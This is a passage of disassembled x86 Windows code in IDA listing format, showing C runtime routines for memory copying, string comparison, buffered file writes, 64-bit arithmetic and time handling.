		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CD6C	dd offset loc_41CDCF	; DATA XREF: sub_41CC90:loc_41CCECr
		dd offset loc_41CDBC
		dd offset loc_41CDB4
		dd offset loc_41CDAC
		dd offset loc_41CDA4
		dd offset loc_41CD9C
		dd offset loc_41CD94
		dd offset loc_41CD8C
; ---------------------------------------------------------------------------


loc_41CD8C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CD94:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CD9C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CDA4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CDAC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CDB4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CDBC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CDCF:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90:off_41CD6Co
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDD8	dd offset loc_41CDE8	; DATA XREF: sub_41CC90+35r
					; sub_41CC90+92r ...
		dd offset loc_41CDF0
		dd offset loc_41CDFC
		dd offset loc_41CE10
; ---------------------------------------------------------------------------


loc_41CDE8:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CDF0:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CDFC:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CE10:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CE28:				; CODE XREF: sub_41CC90+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CE5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CE50:				; CODE XREF: sub_41CC90+1B1j
					; sub_41CC90+208j ...
		neg	ecx
		jmp	off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CE5C:				; CODE XREF: sub_41CC90+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CE74
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CE74:				; CODE XREF: sub_41CC90+1D6j
					; DATA XREF: sub_41CC90+1DDr
		jmp	off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CE87+1
		dd offset loc_41CEA8
; ---------------------------------------------------------------------------
		ror	dh, 1
		inc	ecx


loc_41CE87:				; DATA XREF: sub_41CC90+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CEA8:				; DATA XREF: sub_41CC90+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF24
		dd offset loc_41CF2C
		dd offset loc_41CF34
		dd offset loc_41CF3C
		dd offset loc_41CF44
		dd offset loc_41CF4C
		dd offset loc_41CF54
off_41CF20	dd offset loc_41CF67	; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------


loc_41CF24:				; DATA XREF: sub_41CC90+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CF2C:				; DATA XREF: sub_41CC90+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CF34:				; DATA XREF: sub_41CC90+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CF3C:				; DATA XREF: sub_41CC90+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CF44:				; DATA XREF: sub_41CC90+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CF4C:				; DATA XREF: sub_41CC90+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CF54:				; DATA XREF: sub_41CC90+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CF67:				; CODE XREF: sub_41CC90+1C2j
					; DATA XREF: sub_41CC90:off_41CF20o
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CF70	dd offset loc_41CF80	; DATA XREF: sub_41CC90+1B7r
					; sub_41CC90:loc_41CE74r ...
		dd offset loc_41CF88
		dd offset loc_41CF98
		dd offset loc_41CFAC
; ---------------------------------------------------------------------------


loc_41CF80:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF88:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF98:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CFAC:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CC90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFC5	proc near		; CODE XREF: sub_40D78C+34p
					; sub_40D78C+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41CFC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFD3	proc near		; CODE XREF: sub_41D040+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DCFFC
		call	sub_422608
		mov	edx, dword_4DCFFC
		pop	ecx
		mov	ecx, dword_4DCFF8
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D032
		push	edx
		call	sub_422608
		add	eax, 10h
		push	eax
		push	dword_4DCFFC
		call	sub_41B202
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D015
		retn
; ---------------------------------------------------------------------------


loc_41D015:				; CODE XREF: sub_41CFD3+3Fj
		mov	ecx, dword_4DCFF8
		sub	ecx, dword_4DCFFC
		mov	dword_4DCFFC, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DCFF8, ecx


loc_41D032:				; CODE XREF: sub_41CFD3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DCFF8, 4
		retn
sub_41CFD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D040	proc near		; CODE XREF: sub_40D879+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41CFD3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D040	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D052	proc near		; DATA XREF: ___:0042901Co
		push	80h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	dword_4DCFFC, eax
		jnz	short loc_41D073
		push	18h
		call	sub_41DA29
		mov	eax, dword_4DCFFC
		pop	ecx


loc_41D073:				; CODE XREF: sub_41D052+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DCFFC
		mov	dword_4DCFF8, eax
		retn
sub_41D052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D081	proc near		; CODE XREF: ___:0040DB4Cp

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	near ptr 2780112h
		nop
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2870000h
		mov	ax, [ebp+var_16]
		cmp	ax, word_4DB9C2
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_18]
		cmp	ax, word_4DB9C0
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4DB9BE
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4DB9BA
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_20]
		cmp	ax, word_4DB9B8
		jnz	short loc_41D0E6
		mov	eax, dword_4DB9B0
		jmp	short loc_41D12B
; ---------------------------------------------------------------------------


loc_41D0E6:				; CODE XREF: sub_41D081+28j
					; sub_41D081+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		nop
		call	near ptr 2860000h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D113
		cmp	eax, 2
		jnz	short loc_41D10F
		cmp	[ebp+var_32], 0
		jz	short loc_41D10F
		cmp	[ebp+var_24], 0
		jz	short loc_41D10F
		push	1
		pop	eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D10F:				; CODE XREF: sub_41D081+7Aj
					; sub_41D081+81j ...
		xor	eax, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D113:				; CODE XREF: sub_41D081+75j
		or	eax, 0FFFFFFFFh


loc_41D116:				; CODE XREF: sub_41D081+8Cj
					; sub_41D081+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4DB9B8
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4DB9B0, eax
		pop	esi


loc_41D12B:				; CODE XREF: sub_41D081+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422669
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D15B
		mov	[ecx], eax

locret_41D15B:				; CODE XREF: sub_41D081+D6j
		leave
		retn
sub_41D081	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D160	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DBA0C
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D1B3
		mov	al, 0FFh
		mov	edi, edi


loc_41D17C:				; CODE XREF: sub_41D160+28j
					; sub_41D160+48j
		or	al, al
		jz	short loc_41D1AE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D17C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D17C
		sbb	al, al
		sbb	al, 0FFh


loc_41D1AE:				; CODE XREF: sub_41D160+1Ej
		movsx	eax, al
		jmp	short loc_41D1E7
; ---------------------------------------------------------------------------


loc_41D1B3:				; CODE XREF: sub_41D160+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_41D1BC:				; CODE XREF: sub_41D160+68j
					; sub_41D160+80j
		or	al, al
		jz	short loc_41D1E7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D1BC
		push	eax
		push	ebx
		call	sub_41D74C
		mov	ebx, eax
		add	esp, 4
		call	sub_41D74C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D1BC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41D1E7:				; CODE XREF: sub_41D160+51j
					; sub_41D160+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D160	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D268
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D20B
		cmp	edi, 1
		jz	short loc_41D20B
		cmp	edi, 2
		jnz	short loc_41D268


loc_41D20B:				; CODE XREF: ___:0041D1FFj
					; ___:0041D204j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D222
		push	esi
		call	sub_4227C5
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41D222:				; CODE XREF: ___:0041D213j
		push	esi
		call	sub_41DB8B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D237
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D24B
; ---------------------------------------------------------------------------


loc_41D237:				; CODE XREF: ___:0041D22Ej
		test	al, 1
		jz	short loc_41D24B
		test	al, 8
		jz	short loc_41D24B
		test	ah, 4
		jnz	short loc_41D24B
		mov	dword ptr [esi+18h], 200h


loc_41D24B:				; CODE XREF: ___:0041D235j
					; ___:0041D239j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_42272B
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D275
; ---------------------------------------------------------------------------


loc_41D268:				; CODE XREF: ___:0041D1F7j
					; ___:0041D209j
		mov	dword_4DB958, 16h
		or	eax, 0FFFFFFFFh


loc_41D275:				; CODE XREF: ___:0041D266j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D280	proc near		; CODE XREF: sub_412B09+19Ep
					; sub_41386C+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D299
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41D299:				; CODE XREF: sub_41D280+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2B4	proc near		; CODE XREF: ___:004162E4p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D2D8
		xor	eax, eax
		jmp	loc_41D3A5
; ---------------------------------------------------------------------------


loc_41D2D8:				; CODE XREF: sub_41D2B4+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D2EB
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D2F2
; ---------------------------------------------------------------------------


loc_41D2EB:				; CODE XREF: sub_41D2B4+2Dj
		mov	[ebp+arg_C], 1000h


loc_41D2F2:				; CODE XREF: sub_41D2B4+35j
					; sub_41D2B4+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D326
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D326
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D30C
		mov	edi, eax


loc_41D30C:				; CODE XREF: sub_41D2B4+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41C310
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41D36C
; ---------------------------------------------------------------------------


loc_41D326:				; CODE XREF: sub_41D2B4+47j
					; sub_41D2B4+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41D371
		test	ecx, ecx
		jz	short loc_41D33A
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jnz	short loc_41D3B3


loc_41D33A:				; CODE XREF: sub_41D2B4+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41D34D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41D34F
; ---------------------------------------------------------------------------


loc_41D34D:				; CODE XREF: sub_41D2B4+8Aj
		mov	edi, ebx


loc_41D34F:				; CODE XREF: sub_41D2B4+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D3AA
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41D3AA


loc_41D36C:				; CODE XREF: sub_41D2B4+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41D39A
; ---------------------------------------------------------------------------


loc_41D371:				; CODE XREF: sub_41D2B4+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F58A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D3B3
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41D39A
		mov	[ebp+arg_C], 1


loc_41D39A:				; CODE XREF: sub_41D2B4+BBj
					; sub_41D2B4+DDj
		test	ebx, ebx
		jnz	loc_41D2F2
		mov	eax, [ebp+arg_8]


loc_41D3A5:				; CODE XREF: sub_41D2B4+1Fj
					; sub_41D2B4+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D3AA:				; CODE XREF: sub_41D2B4+ADj
					; sub_41D2B4+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41D3B5
; ---------------------------------------------------------------------------


loc_41D3B3:				; CODE XREF: sub_41D2B4+84j
					; sub_41D2B4+CFj
		mov	eax, edi


loc_41D3B5:				; CODE XREF: sub_41D2B4+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41D3A5
sub_41D2B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3BE	proc near		; CODE XREF: sub_416909+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 2680DD8h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D3DE
		call	near ptr 2680932h
		nop
		push	eax
		call	sub_4203DF
		pop	ecx


loc_41D3DA:				; CODE XREF: sub_41D3BE+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41D3DE:				; CODE XREF: sub_41D3BE+Dj
		test	al, 1
		jz	short loc_41D3FF
		test	[esp+arg_4], 2
		jz	short loc_41D3FF
		mov	dword_4DB958, 0Dh
		mov	dword_4DB95C, 5
		jmp	short loc_41D3DA
; ---------------------------------------------------------------------------


loc_41D3FF:				; CODE XREF: sub_41D3BE+22j
					; sub_41D3BE+29j
		xor	eax, eax
		retn
sub_41D3BE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D410	proc near		; CODE XREF: sub_416923+3Fp
					; sub_41A98D+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41D432
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D473
; ---------------------------------------------------------------------------


loc_41D432:				; CODE XREF: sub_41D410+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41D440:				; CODE XREF: sub_41D410+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D440
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D46E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41D46E
		jb	short loc_41D46F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41D46F


loc_41D46E:				; CODE XREF: sub_41D410+4Ej
					; sub_41D410+54j
		dec	esi


loc_41D46F:				; CODE XREF: sub_41D410+56j
					; sub_41D410+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41D473:				; CODE XREF: sub_41D410+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41D410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D480	proc near		; CODE XREF: sub_416923+2Dp
					; sub_41A98D+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41D4A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41D4F1
; ---------------------------------------------------------------------------


loc_41D4A1:				; CODE XREF: sub_41D480+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41D4AF:				; CODE XREF: sub_41D480+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D4AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41D4DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41D4DA
		jb	short loc_41D4E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41D4E2


loc_41D4DA:				; CODE XREF: sub_41D480+4Aj
					; sub_41D480+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41D4E2:				; CODE XREF: sub_41D480+52j
					; sub_41D480+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D4F1:				; CODE XREF: sub_41D480+1Fj
		pop	ebx
		retn	10h
sub_41D480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D500	proc near		; CODE XREF: sub_416A33+5Fp
					; sub_416A33+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41D521
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41D521:				; CODE XREF: sub_41D500+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41D53D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41D53D:				; CODE XREF: sub_41D500+27j
		or	eax, eax
		jnz	short loc_41D559
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D59A
; ---------------------------------------------------------------------------


loc_41D559:				; CODE XREF: sub_41D500+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41D567:				; CODE XREF: sub_41D500+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41D567
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D595
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41D595
		jb	short loc_41D596
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41D596


loc_41D595:				; CODE XREF: sub_41D500+85j
					; sub_41D500+8Bj
		dec	esi


loc_41D596:				; CODE XREF: sub_41D500+8Dj
					; sub_41D500+93j
		xor	edx, edx
		mov	eax, esi


loc_41D59A:				; CODE XREF: sub_41D500+57j
		dec	edi
		jnz	short loc_41D5A4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D5A4:				; CODE XREF: sub_41D500+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41D500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


